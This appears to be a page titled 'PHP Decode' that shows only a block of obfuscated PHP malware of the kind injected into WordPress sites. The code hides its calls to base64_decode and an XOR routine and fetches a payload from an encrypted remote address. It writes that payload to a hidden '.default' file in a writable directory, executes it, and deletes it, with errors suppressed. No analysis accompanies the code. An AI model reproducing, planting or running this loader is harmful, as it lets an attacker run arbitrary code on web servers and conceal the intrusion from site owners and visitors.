PHP Decode

<?php 
@ini_set('display_errors', '0'); 
error_reporting(0); 
if (!$npDcheckClassBgp) { 
$ea = '_shaesx_'; $ay = 'get_data_ya'; $ae = 'decode'; $ea = str_replace('_sha', 'bas', $ea); $ao = 'wp_cd'; $ee = $ea.$ae; $oa = str_replace('sx', '64', $ee); $algo = 'default'; $pass = "Zgc5c4MXrKkueAQC4pJeKbCGP0iUNbhY3iKMG+/NuQE="; 
if (ini_get('allow_url_fopen')) { 
    function get_data_ya($m) { 
        $data = file_get_contents($m); 
        return $data; 
    } 
} 
else { 
    function get_data_ya($m) { 
        $ch = curl_init(); 
        curl_setopt($ch, CURLOPT_HEADER, 0); 
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
        curl_setopt($ch, CURLOPT_URL, $m); 
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8); 
        $data = curl_exec($ch); 
        curl_close($ch); 
        return $data; 
    } 
} 
function wp_cd($fd, $fa="") 
{ 
   $fe = "wp_frmfunct"; 
   $len = strlen($fd); 
   $ff = ''; 
   $n = $len>100 ? 8 : 2; 
   while( strlen($ff)<$len ) 
   { 
      $ff .= substr(pack('H*', sha1($fa.$ff.$fe)), 0, $n); 
   } 
   return $fd^$ff; 
} 
$reqw = $ay($ao($oa("$pass"), 'wp_function')); 
preg_match('#gogo(.*)enen#is', $reqw, $mtchs); 
$dirs = glob("*", GLOB_ONLYDIR); 
foreach ($dirs as $dira) { 
    if (fopen("$dira/.$algo", 'w')) { $ura = 1; $eb = "$dira/"; $hdl = fopen("$dira/.$algo", 'w'); break; } 
    $subdirs = glob("$dira/*", GLOB_ONLYDIR); 
    foreach ($subdirs as $subdira) { 
        if (fopen("$subdira/.$algo", 'w')) { $ura = 1; $eb = "$subdira/"; $hdl = fopen("$subdira/.$algo", 'w'); break; } 
    } 
} 
if (!$ura && fopen(".$algo", 'w')) { $ura = 1; $eb = ''; $hdl = fopen(".$algo", 'w'); } 
fwrite($hdl, "<?php
$mtchs[1]
?>"); 
fclose($hdl); 
include("{$eb}.$algo"); 
unlink("{$eb}.$algo"); 
$npDcheckClassBgp = 'aue'; 
} 
?>